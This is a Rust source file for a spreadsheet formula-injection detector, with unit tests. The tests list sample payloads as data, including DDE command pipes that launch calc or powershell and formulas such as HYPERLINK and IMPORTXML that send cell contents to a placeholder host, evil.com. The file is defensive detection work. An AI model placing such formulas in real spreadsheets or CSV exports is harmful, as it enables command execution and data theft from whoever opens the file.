1use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
4use regex::Regex;
5use std::sync::LazyLock;
6
7const AT_FUNCS: &str = "SUM|HYPERLINK|IMPORTXML|IMPORTDATA|IMPORTRANGE|IMPORTFEED|WEBSERVICE|FILTERXML|RTD|EXEC|AVERAGE|COUNT|MIN|MAX";
16
17static PATTERNS: LazyLock<Regex> = LazyLock::new(|| {
24 Regex::new(
25 &[
26 r"(?im:(?:^|[,;])[ \t]*[=+\-@][ \t]*cmd\|)",
31 r"|(?im:(?:^|[,;])[ \t]*[=+\-@][ \t]*(?:HYPERLINK|IMPORTXML|IMPORTDATA|IMPORTRANGE|IMPORTFEED|WEBSERVICE|FILTERXML|RTD|EXEC)[ \t]*\()",
33 r"|(?im:(?:^|[,;])[ \t]*[=+\-@][^\n|]{0,120}\|[^\n]{0,120}[^ \t\n]![A-Z]{1,3}\$?\d{1,5})",
37 r"|(?i:\bDDE[ \t]*\()",
39 r"|(?m:(?:^|[,;])[ \t]*@[ \t]*(?:",
42 AT_FUNCS,
43 r")[ \t]*\()",
44 ]
45 .concat(),
46 )
47 .unwrap()
48});
49
50pub struct FormulaInjectionDetector;
51
52impl Detector for FormulaInjectionDetector {
53 fn name(&self) -> &'static str {
54 "formula_injection"
55 }
56
57 fn detect(&self, input: &str) -> Option<DetectionResult> {
58 regex_detect(
59 std::slice::from_ref(&*PATTERNS),
60 self.name(),
61 AttackCategory::Data,
62 Severity::High,
63 "Spreadsheet formula injection detected",
64 input,
65 )
66 }
67}
68
69#[cfg(test)]
70mod tests {
71 use super::*;
72 use crate::test_helpers::{assert_clean, assert_detected};
73
74 fn det() -> FormulaInjectionDetector {
75 FormulaInjectionDetector
76 }
77
78 fn assert_hit(input: &str) {
79 assert_detected(&det(), input, AttackCategory::Data, Severity::High);
80 }
81
82 #[test]
83 fn name_is_formula_injection() {
84 assert_eq!(det().name(), "formula_injection");
85 }
86
87 #[test]
88 fn detects_command_pipe_and_dde_cell_ref() {
89 for input in [
90 "=cmd|' /C calc'!A0",
91 "=cmd|'/C powershell'!A1",
92 "+cmd|' /C calc'!A0",
93 "@cmd|' /C calc'!A0",
94 "=rundll32|'javascript:alert(1)'!A0",
95 "=2+5+cmd|' /C calc'!A0",
96 ] {
97 assert_hit(input);
98 }
99 }
100
101 #[test]
102 fn detects_data_exfiltration_functions() {
103 for input in [
104 r#"=HYPERLINK("http://evil.com?x="&A1,"click")"#,
105 r#"=IMPORTXML("http://evil.com","//x")"#,
106 r#"=IMPORTDATA("http://evil.com/x.csv")"#,
107 r#"=IMPORTRANGE("http://evil.com","Sheet1!A1")"#,
108 r#"=WEBSERVICE("http://evil.com")"#,
109 r#"=FILTERXML("http://evil.com","//x")"#,
110 r#"=RTD("foo.bar",,"x")"#,
111 r#"=EXEC("calc")"#,
112 r#"= HYPERLINK("http://evil.com")"#,
113 ] {
114 assert_hit(input);
115 }
116 }
117
118 #[test]
119 fn detects_legacy_at_formulas_and_dde() {
120 for input in [
121 "@SUM(1+1)*cmd|' /C calc'!A0",
122 "@SUM(1+1)",
123 "@HYPERLINK(\"http://evil.com\")",
124 r#"DDE("cmd";"/C calc";"!A0")"#,
125 "=DDE(\"cmd\",\"/C calc\")",
126 ] {
127 assert_hit(input);
128 }
129 }
130
131 #[test]
132 fn detects_payload_in_multiline_csv() {
133 let csv = "name,email\nadmin,=cmd|' /C calc'!A0\nbob,bob@x.com";
134 let r = det().detect(csv).expect("expected detection");
135 assert_eq!(r.attack_type, "formula_injection");
136 assert!(
137 r.matched_pattern.contains("=cmd|"),
138 "matched_pattern 应覆盖载荷: {:?}",
139 r.matched_pattern
140 );
141 assert_eq!(
142 &csv[r.offset..r.offset + r.matched_pattern.len()],
143 r.matched_pattern
144 );
145 }
146
147 #[test]
148 fn ignores_doc_commands_and_annotations() {
149 for input in ["- cmd | run the build", "- CMD | echo hi", "| cmd | 说明"] {
151 assert_clean(&det(), input);
152 }
153 for input in [
155 "@GET(\"/users\")",
156 "@POST(\"/users\")",
157 "@DELETE(\"/users/1\")",
158 "@TODO(清理临时文件)",
159 "@FIXME(x)",
160 ] {
161 assert_clean(&det(), input);
162 }
163 assert_clean(&det(), "- 参见 RFC 1234 | 以及 !A1");
165 }
166
167 #[test]
168 fn spaced_cmd_pipe_still_caught_by_cell_ref_pattern() {
169 for input in [
171 "=cmd|' /C calc'!A0",
172 "=cmd | ' /C calc'!A0",
173 "+cmd|'/C powershell'!A1",
174 ] {
175 assert_hit(input);
176 }
177 }
178
179 #[test]
180 fn legacy_at_functions_still_detected() {
181 for input in [
182 "@SUM(1+1)",
183 "@HYPERLINK(\"http://evil.com\")",
184 "@AVERAGE(B1:B9)",
185 ] {
186 assert_hit(input);
187 }
188 }
189
190 #[test]
191 fn ignores_benign_inputs() {
192 for input in [
193 "Hello, this is a normal text input. Nothing suspicious here.",
194 "= 5",
195 "-3 度",
196 "+1 more item",
197 "@alice 你好",
198 "a@b.com",
199 "contact: alice@example.com",
200 "cost is -20 dollars",
201 "=SUM(A1:A5) 是求和公式",
202 "=AVERAGE(B1:B9)",
203 "@media (max-width: 600px)",
204 "user[name]=alice",
205 "价格从 -5 到 +5 不等",
206 ] {
207 assert_clean(&det(), input);
208 }
209 }
210
211 #[test]
212 fn plain_sum_is_left_to_the_coarse_tier() {
213 use crate::data::CsvInjectionDetector;
215 for input in ["=SUM(A1:A5)", "=SUM(A1:A5) 是求和公式", "=1+1"] {
216 assert_clean(&det(), input);
217 assert!(
218 CsvInjectionDetector.detect(input).is_some(),
219 "csv_injection 粗粒度层应仍命中: {input}"
220 );
221 }
222 }
223
224 #[test]
225 fn edge_cases() {
226 assert_clean(&det(), "");
227 assert_clean(&det(), " ");
228 assert_clean(&det(), "你好世界 こんにちは");
229 assert_clean(&det(), "a=cmd|' /C calc'!A0");
231 assert_hit("admin,=cmd|' /C calc'!A0");
233 assert_hit("x;=HYPERLINK(\"http://evil.com\")");
234 assert_clean(&det(), "=foo|bar");
236 assert_clean(&det(), "baddle(");
238 }
239}